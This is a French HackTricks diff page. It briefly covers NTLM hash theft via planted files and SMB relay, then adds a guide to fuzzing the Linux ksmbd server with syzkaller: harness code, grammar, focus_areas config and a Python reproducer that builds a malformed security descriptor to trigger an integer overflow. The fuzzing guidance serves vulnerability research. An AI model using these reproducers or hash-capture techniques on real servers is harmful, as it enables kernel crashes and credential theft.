Qui sont utilisées par certains navigateurs et outils (comme Skype)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### SMBTrap utilisant MitMf
|
||||
### SMBTrap avec MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## Vol NTLM
|
||||
## NTLM Theft
|
||||
|
||||
Semblable à SMB Trapping, le fait de planter des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hachage NetNTLMv2 avec un outil tel que Responder. Le hachage peut ensuite être craqué hors ligne ou utilisé dans une [attaque de relais SMB](#smb-relay-attack).
|
||||
De la même manière que SMB Trapping, le dépôt de fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite être craqué hors ligne ou utilisé dans une [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[Voir : ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## Commandes Automatiques HackTricks
|
||||
## HackTricks Commandes automatiques
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -0,0 +1,219 @@
|
||||
# ksmbd Surface d'attaque & Fuzzing du protocole SMB2/SMB3 (syzkaller)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Aperçu
|
||||
Cette page résume des techniques pratiques pour exercer et fuzz le serveur SMB in-kernel de Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harness stateful capable d'enchaîner des opérations SMB2, la génération de PDUs valides selon la grammaire, l'orientation des mutations vers des chemins de code faiblement couverts, et l'exploitation de fonctionnalités de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale énumère des CVEs spécifiques, nous mettons ici l'accent sur la méthodologie réutilisable et des extraits concrets que vous pouvez adapter à vos propres environnements.
|
||||
|
||||
Portée cible : SMB2/SMB3 sur TCP. Kerberos et RDMA sont intentionnellement hors-scope pour garder le harness simple.
|
||||
|
||||
---
|
||||
|
||||
## Étendre la surface d'attaque de ksmbd via la configuration
|
||||
Par défaut, une configuration ksmbd minimale laisse de larges parties du serveur non testées. Activez les fonctionnalités suivantes pour faire passer le serveur par des parsers/handlers supplémentaires et atteindre des chemins de code plus profonds :
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
- Server multi-channel
|
||||
- SMB2 leases
|
||||
- Per-share-level
|
||||
- Oplocks (on by default)
|
||||
- VFS objects
|
||||
|
||||
L'activation de ces éléments augmente l'exécution dans des modules tels que :
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
- smbacl.c (ACL parsing/enforcement)
|
||||
- vfs.c (VFS ops)
|
||||
- vfs_cache.c (lookup cache)
|
||||
|
||||
Notes
|
||||
- Les options exactes dépendent de l'espace utilisateur ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections per-share pour activer durable handles, leases, oplocks et VFS objects.
|
||||
- Multi-channel et durable handles modifient les machines d'état et les durées de vie, souvent faisant ressortir des bugs UAF/refcount/OOB sous concurrence.
|
||||
|
||||
---
|
||||
|
||||
## Ajustements d'authentification et de rate-limiting pour le fuzzing
|
||||
SMB3 nécessite une session valide. Implémenter Kerberos dans les harnesses ajoute de la complexité, donc préférez NTLM/guest pour le fuzzing :
|
||||
|
||||
- Autorisez guest access et configurez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST.
|
||||
- Acceptez NTLMv2 (patch policy si désactivé). Cela simplifie le handshake tout en exerçant les chemins de code SMB3.
|
||||
- Patcherez les strict credit checks lors d'expérimentations (les durcissements post-hardening pour CVE-2024-50285 ont rendu le crédit simultané plus strict). Sinon, les rate-limits peuvent rejeter des séquences fuzzées trop tôt.
|
||||
- Augmentez le nombre max connections (par ex. à 65536) pour éviter les rejets précoces pendant un fuzzing à haut débit.
|
||||
|
||||
Attention : ces assouplissements facilitent uniquement le fuzzing. Ne déployez pas ces réglages en production.
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness : extraire des ressources et enchaîner des requêtes
|
||||
SMB est stateful : de nombreuses requêtes dépendent d'identifiants renvoyés par des réponses antérieures (SessionId, TreeID, FileID pairs). Votre harness doit parser les réponses et réutiliser les IDs au sein du même programme pour atteindre des handlers profonds (par ex., smb2_create → smb2_ioctl → smb2_close).
|
||||
|
||||
Exemple d'extrait pour traiter un buffer de réponse (en sautant les +4B NetBIOS PDU length) et mettre en cache les IDs :
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
|
||||
switch (cmd_rsp) {
|
||||
case SMB2_TREE_CONNECT:
|
||||
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
|
||||
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_SESS_SETUP:
|
||||
// first session setup response carries session_id
|
||||
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
|
||||
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
|
||||
break;
|
||||
case SMB2_CREATE:
|
||||
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
|
||||
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
|
||||
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
```
|
||||
Conseils
|
||||
- Gardez un seul processus fuzzer partageant l'authentification/état : meilleure stabilité et couverture avec les tables globales/de session de ksmbd. syzkaller injecte quand même de la concurrence en marquant les ops async, et réexécute en interne.
|
||||
- Le reset_acc_state expérimental de syzkaller peut réinitialiser l'état global mais peut entraîner un fort ralentissement. Privilégiez la stabilité et concentrez-vous sur le fuzzing.
|
||||
|
||||
---
|
||||
|
||||
## Génération SMB2 dirigée par une grammaire (PDUs valides)
|
||||
Convertissez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre générateur produise des PDUs structurellement valides, qui atteignent systématiquement les dispatchers et les IOCTL handlers.
|
||||
|
||||
Exemple (SMB2 IOCTL request):
|
||||
```
|
||||
smb2_ioctl_req {
|
||||
Header_Prefix SMB2Header_Prefix
|
||||
Command const[0xb, int16]
|
||||
Header_Suffix SMB2Header_Suffix
|
||||
StructureSize const[57, int16]
|
||||
Reserved const[0, int16]
|
||||
CtlCode union_control_codes
|
||||
PersistentFileId const[0x4, int64]
|
||||
VolatileFileId const[0x0, int64]
|
||||
InputOffset offsetof[Input, int32]
|
||||
InputCount bytesize[Input, int32]
|
||||
MaxInputResponse const[65536, int32]
|
||||
OutputOffset offsetof[Output, int32]
|
||||
OutputCount len[Output, int32]
|
||||
MaxOutputResponse const[65536, int32]
|
||||
Flags int32[0:1]
|
||||
Reserved2 const[0, int32]
|
||||
Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
Ce style impose des tailles/décalages de structure corrects et améliore considérablement la couverture par rapport à la mutation aveugle.
|
||||
|
||||
---
|
||||
|
||||
## Fuzzing dirigé avec focus_areas
|
||||
Utilisez le paramètre expérimental focus_areas de syzkaller pour donner plus de poids à des fonctions/fichiers spécifiques qui ont actuellement une faible couverture. Exemple JSON:
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
|
||||
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
|
||||
{"weight": 1.0}
|
||||
]
|
||||
}
|
||||
```
|
||||
Cela aide à construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionné reproduit un integer-overflow.
|
||||
|
||||
Générateur de reproducer (Python minimal):
|
||||
```python
|
||||
def build_sd():
|
||||
import struct
|
||||
sd = bytearray(0x14)
|
||||
sd[0x00] = 0x00; sd[0x01] = 0x00
|
||||
struct.pack_into('<H', sd, 0x02, 0x0001)
|
||||
struct.pack_into('<I', sd, 0x04, 0x78)
|
||||
struct.pack_into('<I', sd, 0x08, 0x00)
|
||||
struct.pack_into('<I', sd, 0x0C, 0x10000)
|
||||
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
|
||||
while len(sd) < 0x78:
|
||||
sd += b'A'
|
||||
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
|
||||
sd += b"\xCC" * 64
|
||||
return bytes(sd)
|
||||
```
|
||||
---
|
||||
|
||||
## Briser les plateaux de couverture avec ANYBLOB
|
||||
syzkaller's anyTypes (ANYBLOB/ANYRES) permettent de réduire des structures complexes en blobs qui mutent de manière générique. Générez un nouveau corpus à partir de pcaps SMB publiques et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (p.ex., syz_ksmbd_send_req):
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
```
|
||||
|
||||
```python
|
||||
import json, os
|
||||
os.makedirs("corpus", exist_ok=True)
|
||||
|
||||
with open("packets.json") as f:
|
||||
data = json.load(f)
|
||||
# adjust indexing to your tshark JSON structure
|
||||
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
|
||||
|
||||
for i, pkt in enumerate(packets):
|
||||
pdu = pkt[0]
|
||||
pdu_size = len(pdu) // 2 # hex string length → bytes
|
||||
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
|
||||
f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
Cela permet de démarrer l'exploration et peut déclencher immédiatement des UAFs (p.ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents.
|
||||
|
||||
---
|
||||
|
||||
## Sanitizers: Au-delà de KASAN
|
||||
- KASAN reste le détecteur principal pour les bugs liés au tas (UAF/OOB).
|
||||
- KCSAN produit souvent des faux positifs ou des data races de faible gravité sur cette cible.
|
||||
- UBSAN/KUBSAN peut détecter des erreurs de bornes déclarées que KASAN manque en raison de la sémantique des indices de tableau. Exemple:
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
Définir num_subauth = 0 déclenche une lecture OOB dans la structure de sub_auth[-1], détectée par les declared-bounds checks d'UBSAN.
|
||||
|
||||
---
|
||||
|
||||
## Remarques sur le débit et le parallélisme
|
||||
- Un seul processus fuzzer (auth/state partagé) a tendance à être nettement plus stable pour ksmbd tout en mettant toujours en évidence des races/UAFs grâce à l'async executor interne de syzkaller.
|
||||
- Avec plusieurs VMs, vous pouvez toujours atteindre plusieurs centaines de commandes SMB par seconde au total. Une couverture au niveau des fonctions d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'état soit sous-représentée par de tels métriques.
|
||||
|
||||
---
|
||||
|
||||
## Liste de contrôle pratique
|
||||
- Activer durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd.
|
||||
- Autoriser guest et map-to-guest ; accepter NTLMv2. Supprimer les credit limits et augmenter le max connections pour la stabilité du fuzzer.
|
||||
- Construire un harness stateful qui met en cache SessionId/TreeID/FileIDs et enchaîne create → ioctl → close.
|
||||
- Utiliser une grammaire pour SMB2 PDUs afin de maintenir la validité structurelle.
|
||||
- Utiliser focus_areas pour surpondérer les fonctions faiblement couvertes (par ex., des chemins dans smbacl.c comme smb_check_perm_dacl).
|
||||
- Seed avec ANYBLOB provenant de vrais pcaps pour casser les plateaux ; packer les seeds avec syz-db pour réutilisation.
|
||||
- Lancer avec KASAN + UBSAN ; trier attentivement les rapports declared-bounds d'UBSAN.
|
||||
|
||||
---
|
||||
|
||||
## Références
|
||||
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
|
||||
- syzkaller: https://github.com/google/syzkaller
|
||||
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
|
||||
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
|
||||
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
|
||||
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
|
||||
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- Lecture de fond: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user